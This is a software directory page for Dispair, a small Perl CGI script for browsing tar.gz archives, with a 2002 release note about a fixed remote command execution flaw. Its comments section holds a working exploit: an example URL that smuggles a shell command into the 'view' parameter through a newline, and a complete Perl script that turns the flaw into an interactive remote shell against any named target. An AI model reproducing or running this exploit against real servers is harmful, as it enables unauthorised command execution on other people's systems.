Dispair

Dispair (DISPlay Archives In Realtime) is a tiny CGI-script written in Perl that lets users browse tar.gz archives.

Tags Internet Web Dynamic Content CGI Tools/Libraries
Licenses BSD Original
Operating Systems POSIX
Implementation Perl

Tweet this project Short link

Rss Recent releases

  • Rrelease-mid
  •  31 Jul 2002 19:29
  • Rrelease-after

Changes: A remote command execution exploit was fixed.

Rss Recent comments

Rcomment-before 30 Jul 2002 16:47 Rcomment-trans 404 Rcomment-after

remote command execution exploit
http://target/cgi-bin/dispair.cgi?file=fiddle&view=%0A/usr/bin/id

Here is a perl script that provides a shell-like interface:

#!/usr/bin/perl

use strict;
use IO::Socket;

my $target = shift || die "usage: $0 <targetserver>";
my $cmd = '';

while ($cmd ne 'exit') {
print ">> "; $cmd = <STDIN>; chomp $cmd;
$cmd =~ s/ /%20/g;
my $socket = IO::Socket::INET->new(PeerAddr => $target, PeerPort => 'http(80)', Proto => 'tcp');
print $socket "GET /cgi-bin/dispair.cgi?file=fiddle&view=%0A$cmd HTTP/1.0\n";
print $socket "Host: $target\n";
print $socket "USER-AGENT: scriptkiddie\n\n";
while (<$socket>) { last if ($_ =~ m/^\r/); }
while (<$socket>) { print; }
close $socket;
}

4a2cf2708f906435b74c4e81d9abab82_thumb

Project Spotlight

JOpt.SDK

A route optimization library for vrptw problems.

No-screenshot

Project Spotlight

ArahPaint 4.0r

paint program for drawing images in repeat, textile, jacquard